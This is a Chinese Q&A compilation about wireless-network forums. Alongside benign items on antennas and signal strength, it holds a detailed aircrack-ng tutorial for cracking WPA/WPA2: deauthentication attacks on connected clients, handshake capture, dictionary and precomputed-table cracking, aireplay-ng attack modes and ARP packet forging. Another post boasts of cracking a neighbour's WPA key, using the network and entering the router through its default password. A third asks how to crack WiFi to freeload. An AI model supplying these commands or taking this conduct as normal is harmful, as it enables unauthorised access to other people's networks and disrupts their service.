中国无线网络论坛

❶ 求无线技术论坛

http://www.mywlans.com

“当你对无线网络的认识还停留在手机上网、笔记本上网的时候，你已经落伍了”——版主cq779

无线网络已经越来越平民化，越来越大众化，人们对无线网络的需求已经从会用上升到会玩的境界。记者近期发现了一处无线发烧级网友们的乐园“无线之家”论坛。

“谁说高科技原理深奥难懂，高科技本来就应该充满情趣”网友东皇太一如是说，长久以来东皇太一一直在“玩”无线，从小时候的对讲机，到后来的遥控汽车，再到今天自己已经将自己的新家全面改造为无线住宅，一路走来没人与自己分享这份成就感是他最苦恼的。一次偶然的发现，让他找到了属于自己的天堂，升级为2.0版本的“无线之家”论坛为无线“潮”人们提供了一个秀出最新的装备的平台，在哪才能交流无线改造的心得？现在这个问题已经不在困扰东皇太一了。

“WiFi是王道，让3G滚蛋？”这是网友wifi24的心声，曾经被众多3G死忠们在其他论坛里死K的wifi24,现在在“无线之家”找到了一群志同道合的朋友，他们相信无线城市的实现是要靠WiFi的，并且不断的规划着他们的无线城市。

记者了解到当无线网络已经深入百姓居家生活，渗透到学习、娱乐、出行等各个细节的时候，无线出你的个性已经成为了一种新的休闲方式，“不要被高科技三个字给吓倒，科技注定要被请下神坛，成为我们手中的玩物，让平凡生活显出精彩”——成了这群无线发烧友们对这个世界的宣言。

❷ 中国业余无线电论坛，为什么怎么办呢登陆不上去，一点网页，就出现域名访问提示错误

.net 可以, .com不行, 估计网站维护吧

❸ 用薄铜片自制手机WiFi高效天线，求无线电高手给我方法（图片），，，，紧急求助-！！！

1,你需要准备一个大的回形针，一根用过的老式圆珠笔，以及一卷电工胶布。你还可能需要直尺、剪刀和打火机。

2,将回形针拉直,展开回形针，将其拉直为直线的形状。

3,为了获得最佳信号，回形针长度必须为 61 毫米。你需要尽可能让回形针长度接近这一数值，只有这样才能制作出最高效的天线。

4,你需要在大约 19 毫米位置将回形针弯曲，形成一个90°的直角。这部分回形针将会被插入 WiFi 天线端口中。

5,你最好使用废弃的圆珠笔，因为你需要将笔芯剪断。将笔芯剪下长度为 12-18 毫米的一段。由于笔芯中可能还有墨水，因此剪断笔芯时使其远离自己,剪断时，你可以将笔芯放置在一个平面上，以免墨水溅到身上。

6,将剪下部分的笔芯套在回形针弯曲的那头。确保笔芯超出回形针末端大约 1.5 毫米。

7,使用打火机或其他热源小心加热回形针上的笔芯。这将使得笔芯收缩，使其紧紧套在回形针上。

8,在回形针上缠绕电工胶带，以防止无线信号的干扰。

9,将回形针的“笔芯”一头插入天线端口，确保接口针脚与回形针在笔芯内部连接在一起。如果你能够让它们重叠在一起，那么接收到的信号会更好。

❹ WPA2 网络破解

WPA破解详细教程
破解 WPA 的前提：必须要有合法无线客户端
WPA 破解的原理：
利用Deauth验证攻击。也就是说强制让合法无线客户端与AP被断开，当它被从WLAN 中断开后，这个无线
客户端会自动尝试重新连接到AP上，在这个重新连接过程中，数据通信就产生了，然后利用airomp捕获
一个无线路由器与无线客户端四次握手的过程，生成一个包含四次握手的cap包。然后再利用字典进行暴力
破解。
1． 激活网卡，并让其工作于11信道
Airmon-ng start wifi0 11
2．捕获11信道的cap包，并保存cap包为123.cap
Airomp-ng –w 123 –c 11 wifi0
上图可以看出采用了WPA加密方式，并且有一个0016b69d10ad合法的无线客户端。
3. 进行Deauth验证攻击，强制断开合法无线客户端和AP直接的连接，使其重新进行连接
aireplay-ng -0 10 -a <ap mac> -c <my mac> wifi0
解释：-0指的是采取Deautenticate攻击方式，后面为发送次数。-c建议还是使用，效果会更好，这个后面跟
的是监测到的合法的已连接的客户端MAC地址
注意上图红色部分，-c后面为合法无线客户端的MAC地址
Deauth攻击往往并不是一次攻击就成功，为确保成功截获需要反复进行（WPA破解不用等到数据Data达到
几万，因为它只要一个包含WPA4次握手验证包就可以了）。如果成功捕获会出现下图红色部分的提示
中国无线论坛中卫出品
AnywhereWLAN!! 25
这时如果输入dir就可以在root目录下看到名为123.cap的握手包了。
得到握手包以后就可以用字典直接破解
首先将在windows下用字典工具生成的字典（例password.txt）拷贝到root目录下
在BT3桌面双击system然后出现下图。
图中左边红色就为root目录，图中红色存储介质双击打开以后就看到你的每个硬盘的分区了。可以进入硬
盘分区右键拷贝，然后进入root目录右键粘贴。如下图红色部分
目前WPA 的破解主要还是基于暴力破解和字典破解，暴力破解和字典破解的一个共性就是“耗时、费力、
运气”所以往往有时候你花了很多时间但还是破不了，这时候希望大家还是要接受这样一个残酷的现实。
中国无线论坛中卫出品
AnywhereWLAN!! 26
破解方式一：用Cap数据包直接暴力破解
从破解难度上讲WEP 是很容易破解的，只要你收集足够的Cap 数据包就肯定可以破解。WPA 的破解需要
有好的密码字典配合才能完成，复杂的WPA密码可能几个月也破解不出来。
输入：aircrack-ng -z –b <ap mac> 123*.cap
123 是前面所获得的握手包的文件名。系统会自动在你输入的文件名后加上-01、-02（如果数据包太多，系
统会自动分成几个文件存储并自动命名，可以使用ls查看），输入123*是打开所有123相关的cap文件。
常见问题：步骤2中收集数据包已达30W，无法破解密码。可能系统自动分成了几个文件贮存cap包。
如输入123-01.cap破解可能导致破解不成功，建议使用123*.cap选择所有的cap包进行破解。
中国无线论坛中卫出品
AnywhereWLAN!! 27
破解方式二. 挂字典破解
一．直接在BT3中挂字典破解
aircrack-ng –w password.txt –b <ap mac> 123.cap
参数说明：passwrod.txt为字典名称123.cap为步骤2中获得的握手信息包
耗时1分31秒获得WPA密码，如下图
从上图可以看出破解用时1分31秒，速度149.91K/S
注：本教程只为了描述破解的过程。我是做了个256K的小字典，事先把密码已经加到字典里了。
二．也可以把包含4次握手的CAP数据包拷贝到硬盘下在WIN下用WinAircrack挂字典破解。
中国无线论坛中卫出品
AnywhereWLAN!! 28
如上图 Encryption type处选择WPA-PSK，下面capture files处导入抓取的握手包123.cap
然后选择WPA选项，如下图
在上图中Dictionary file处导入字典文件password.txt。然后点击右下角的Aircrack the key
中国无线论坛中卫出品
AnywhereWLAN!! 29
然后出现下图提示
上图，选择1后回车，然后开始破解。成功破解如下图
从上图可以看出破解用时54秒，速度251.73K/S(比BT3下要快)
中国无线论坛中卫出品
AnywhereWLAN!! 30
三．通过airolib构建WPA table实现WPA线速破解
WPA的字典破解除了直接挂字典破解外，另外一种就是用airolib将字典构造成WPA table然后再用aircrac
进行破解。
构建WPA table就是采用和WPA加密采用同样算法计算后生成的Hash 散列数值，这样在需要破解的时候直
接调用这样的文件进行比对，破解效率就可以大幅提高。
先讲通过airolib构建WPA table
WPA table具有较强的针对ssid的特性。
1. 在构建WPA table之前需要准备两个文件：一个是ssid列表的文件ssid.txt，一个是字典文件
password.txt。下图为我的文件
大家可以看到两个txt的文件，ssid记事本里是ssid的列表，你可以增加常见的ssid进去，后面的passwrod
就是字典文件了。
2. 把这ssid.txt和password.txt还有上面抓到的握手包123.cap这三个文件拷贝到root目录下方便使用。
见下图
3.开始利用airolib-ng来构建WPA table了。构建wpa table保存的名字为wpahash（下同）
第一步，如下图
airolib-ng wpa --import essid ssid.txt
中国无线论坛中卫出品
AnywhereWLAN!! 31
第二步，如下图
airolib-ng wpa --import passwd password.txt
第三步，如下图
airolib-ng wpa --clean all
第四步，如下图
airolib-ng wpa --batch
注：这一步要等很久（视字典大小而定，我256K的字典等了有15分钟）
4. 用aircrack来利用WPA table进行破解
Aircrack-ng –r wpahash 123.cap
选择1以后将开始破解。
中国无线论坛中卫出品
AnywhereWLAN!! 32
成功破解将如下图所示
从上图中可以看出耗时00:00:00反正不超过1秒钟，速度42250.00K/S
大家也看到了三种破解方式，直接挂字典中在win下用WinAircrack破解是速度比在BT3下要快。直接挂字典
破解不超过1分钟就破出了密码；利用WPA table破解速度虽然不到一秒，但是构建WPA table却耗费了15分
钟。构建WPA table是很耗时的，但是构建出了包括常见ssid的和相对较大字典的WPA table的话，以后破
解的速度将大大降低。当然没有万能的字典，如果有万能的字典，再构建出一个常见ssid的WPA table的话
那这个预运算数据库是超级超级庞大的。
注：WIN平台下的CAIN软件中的破解器也可用于WEP和WPA的基于暴力和字典的破解，但是其破解速度很慢，
相比aircrack-ng而言不具实用价值。
中国无线论坛中卫出品
AnywhereWLAN!! 33
Aireplay-ng的6种攻击模式详解
-0 Deautenticate 冲突模式
使已经连接的合法客户端强制断开与路由端的连接，使其重新连接。在重新连接过程中获得验证数据包，
从而产生有效ARP request。
如果一个客户端连在路由端上，但是没有人上网以产生有效数据，此时，即使用-3 也无法产生有效ARP
request。所以此时需要用-0 攻击模式配合，-3 攻击才会被立刻激活。
aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
参数说明：
【-0】：冲突攻击模式，后面跟发送次数（设置为0，则为循环攻击，不停的断开连接，客户端无法正常上
网）
【-a】：设置ap的mac
【-c】：设置已连接的合法客户端的mac。如果不设置-c，则断开所有和ap连接的合法客户端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注：使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器
-1 fakeauth count 伪装客户端连接
这种模式是伪装一个客户端和AP进行连接。
这步是无客户端的破解的第一步，因为是无合法连接的客户端，因此需要一个伪装客户端来和路由器相连。
为让AP接受数据包，必须使自己的网卡和AP关联。如果没有关联的话，目标AP将忽略所有从你网卡发
送的数据包，IVS 数据将不会产生。用-1 伪装客户端成功连接以后才能发送注入命令，让路由器接受到注
入命令后才可反馈数据从而产生ARP包。
aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
参数说明：
【-1】：伪装客户端连接模式，后面跟延时
【-e】：设置ap的essid
【-a】：设置ap的mac
【-h】：设置伪装客户端的网卡MAC（即自己网卡mac）
-2 Interactive 交互模式
这种攻击模式是一个抓包和提数据发攻击包，三种集合一起的模式
1．这种模式主要用于破解无客户端，先用-1建立虚假客户端连接然后直接发包攻击
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
参数说明：
【-2】：交互攻击模式
【-p】设置控制帧中包含的信息（16进制），默认采用0841
【-c】设置目标mac地址
【-b】设置ap的mac地址
【-h】设置伪装客户端的网卡MAC（即自己网卡mac）
2．提取包，发送注入数据包
aireplay-ng -2 –r <file> -x 1024 wifi0
发包攻击.其中，-x 1024 是限定发包速度，避免网卡死机，可以选择1024。
中国无线论坛中卫出品
AnywhereWLAN!! 34
-3 ARP-request 注入攻击模式
这种模式是一种抓包后分析重发的过程
这种攻击模式很有效。既可以利用合法客户端，也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客
户端那一般需要等几分钟，让合法客户端和ap 之间通信，少量数据就可产生有效ARP request 才可利用-3
模式注入成功。如果没有任何通信存在，不能得到ARP request.，则这种攻击就会失败。如果合法客户端和
ap之间长时间内没有ARP request，可以尝试同时使用-0 攻击。
如果没有合法客户端，则可以利用-1 建立虚拟连接的伪装客户端，连接过程中获得验证数据包，从而产生
有效ARP request。再通过-3 模式注入。
aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
参数说明：
【-3】：arp注入攻击模式
【-b】：设置ap的mac
【-h】：设置
【-x】：定义每秒发送数据户包的数量，但是最高不超过1024，建议使用512（也可不定义）
-4 Chopchop 攻击模式，用以获得一个包含密钥数据的xor 文件
这种模式主要是获得一个可利用包含密钥数据的xor 文件，不能用来解密数据包。而是用它来产生一个新
的数据包以便我们可以进行注入。
aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
参数说明：
-b：设置需要破解的AP的mac
-h：设置虚拟伪装连接的mac（即自己网卡的mac）
-5 fragment 碎片包攻击模式用以获得PRGA(包含密钥的后缀为xor 的文件)
这种模式主要是获得一个可利用PRGA，这里的PRGA 并不是wep key数据，不能用来解密数据包。而是
用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标AP重新广播包，当AP重广播
时，一个新的IVS将产生，我们就是利用这个来破解
aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】：碎片包攻击模式
【-b】：设置ap的mac
【-h】：设置虚拟伪装连接的mac（即自己网卡的mac）
中国无线论坛中卫出品
AnywhereWLAN!! 35
Packetforge-ng：数据包制造程序
Packetforge-ng <mode> <options>
Mode
【-0】：伪造ARP包
packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 –k 255.255.255.255 -l 255.255.255.255
–y<.xor file> -w mrarp
参数说明：
【-0】：伪装arp数据包
【-a】：设置ap的mac
【-h】设置虚拟伪装连接的mac（即自己的mac）
【-k】<ip[:port]>说明：设置目标文件IP和端口
【-l】<ip[:port]>说明：设置源文件IP和端口
【-y】<file>说明：从xor 文件中读取PRGA。后面跟xor 的文件名。
【-w】设置伪装的arp包的文件名
Aircrack-ng：WEP 及WPA-PSK key 破解主程序
Aircrack-ng [optin] <.cap/.ivs file>
Optin
aircrack-ng -n 64 -b <ap mac> name-01.ivs
参数说明：
【-n】：设置WEP KEY 长度（64/128/152/256/512）
aircrack-ng -x -f 2 name-01h.cap
参数说明：
【-x】：设置为暴力破解模式
【-f】：设置复杂程度，wep密码设置为1，wpa 密码设置为2
aircrack-ng -w password.txt ciw.cap
【-w】：设置为字典破解模式，后面跟字典文件，再后面跟是我们即时保存的那个捕获到WPA 验证的抓包文件。

❺ 国内知名的无线电论坛有哪些

中国CQ无线电论坛
http://www.cqcqcq.net/
中国无线电联盟
http://bbs.cru.net.cn/cgi-bin/leobbs.cgi

简单啊
给分数阿
你看就我一个人过来回复的

❻ 用ewsa破解的密码是19700101如何使用啊有好几个无线网络呢，都是wpa2或者wpa的，谢谢！

先在这里谢谢vegeta，你的新字典真不错。
这个ap，很早以前就想学习，因为他是我这里好有的几个好信号，今天学习成功wpa。非常之开心。
其实这个密码，是个生日密码。但是是1968年的生日，我的天呀！！，我的字典都是从1970年开始做的，看来这个ap的主人年龄不小了，呵呵42岁了。我们下次做字典的时候，是不是还应该把年龄放宽一点呢。！！
我现在使用的就是这个ap。信号还不错，哈哈

这个ap，不知道为什么刚开始，不能分配ip，我用了好几个工具，才找到合法的ip，
但后来进了路由后，（路由是初始密码的，呵）看到里面的mac没有过滤，dhcp也没有关闭。
关于这个问题，我下次再上帖子，详细说明一下。（图已经截好了）

下面再来讨论一下，有些握手包，加入到ewsa里面的时候，提示错误，那么这样的包，还能学习吗？？？？
答案是肯定的，今天特意做了实验。只要是正确的方法得到的包，是绝对可以找到密码
所用的包，就是这个ap的，很早以前就已经抓到包了。但是没有时间去跑包，所以就一直放着。

下图中可以看到“你选择的不包含任何关于密码的有效性的信息，你这个十有八九不行”的提示！！！！！
我把字典里加入那个密码，
利用ewsa，成功找到密码，我把包和自己做的一个小字典放上来。大家可以试一下。

看上图，恭喜！密码已经找到了。呵！！！转载请注明出自中国无线论坛 ,本贴地址:

❼ 如何降低无线网络信号的强度

1、由于无线信号在穿越障碍物后，尤其是在穿越金属后，信号会大幅衰减。
你可以把信号源放在铁盒子里，混凝土盒里，etc。
2、我们在无线信号配置界面里，会看到无线信道的选项。
选择和你周围一样的无线信道，找干扰，信号减弱大大滴。
3、天线是无线信号发射的必须。
把天线拆了信号肯定若，把天线网状的捋直了信号也能减弱。
望采纳。

❽ 办公室如何提高无线网络信号强度

软硬兼施提高无线信号强度
方法一：修改信号发射频段

一般来说无线路由器默认的无线信号发射所使用的频段很容易和其他同类产品产生冲突，所以在信号不好的情况下我们可以尝试修改信号发射频段，笔者的经验是最后一个或者第一个频段是最好的，很难有冲突发生，而频段6干扰最厉害，因为很多产品默认发身频段都是6。

方法二：取消加密以及DHCP自动分配地址

虽然很多文章都说了加密或者采用DHCP自动分配网络参数是不影响无线传输速度的，但是笔者发现在实际使用过程中如果觉得无线信号不好或者覆盖范围不够广的话，依然可以尝试降低加密级别或者取消加密验证，并且关闭DHCP自动分配地址的功能而采取手工设置IP等信息，往往可以有效的提高无线信号接受强度，解决无线信号弱的问题。

方法三：合理摆放设备位置

很多用户在无线设备摆放上不太讲究，经常把无线设备放到书房或阳台这种比较偏的位置，实际上无线设备发射出的信号是以圆圈形式发散的，所以其传输最大距离是其半径，因此我们应该尽量将无线设备放到家中的中间位置，这样可以最大限度的提高无线信号对家中各个房间的覆盖率和强度，解决信号弱的问题。

方法四：安装官方网卡驱动程序：

一般来说如果自己计算机无线网卡驱动使用的是万能网卡驱动程序或者第三方驱动甚至是系统自带的驱动程序的话，在无线信号接收上不能够百分之百的发挥性能，所以我们应该尽量安装官方提供的网卡驱动程序，最好的最新版本的，我们可以通过访问无线网卡厂商的官方网站来下载发布时间最新的网卡驱动程序，从而发挥无线网卡的最佳性能，解决信号弱的问题。

二、硬件入手提高无线信号强度：

当然从软件上解决无线信号强度虽然有效果，但是只不过是治标不治本的手段，要想彻底解决信号弱和覆盖面积小的问题就必须从硬件入手。

方法一：通过WDS扩展无线信号

前面几篇文章笔者曾经介绍过如何通过WDS这种无线中继技术扩展无线信号，那么实际上我们就可以通过购买另一个AP或无线接入设备并配置WDS来扩展无线信号，从而根本上解决信号弱的问题。

方法二：利用无线信号增强套装提高信号强度

实际上有一些厂商也为我们提供了专门的无线信号增强套装，例如Linksys无线信号增强套装，通过他可以有效的提高Linksys无线路由器的无线传输效果，让无线信号覆盖范围与强度成倍提高。

方法三：改装天线让信号成倍提升

将无线网卡以及无线路由器的天线进行改装，改成增益效果更好数值更大的天线也可以让信号成本提升，不过这需要双方面的投入。在天线改装过程中应该选择适合自己的，能够使用定向天线就不要用全向天线，毕竟定向天线更具备性价比。

❾ .中国最大最专业的无线网络社区门户！无线论坛！Anywhere WLAN！那为朋友发个邀请码好吗 lzh1102004@163com

已发，查收，

如未收到请检查邮件垃圾箱！

❿ 求各位大虾指点一下WIN7怎么破解无线网络，蹭网的，无线网太贵了，小市民伤不起啊~ [email protected],拜谢

破解无线和系统没有关系好吧,下个BT3或者BT5,再在网上搜索一下教程就会用了,很简单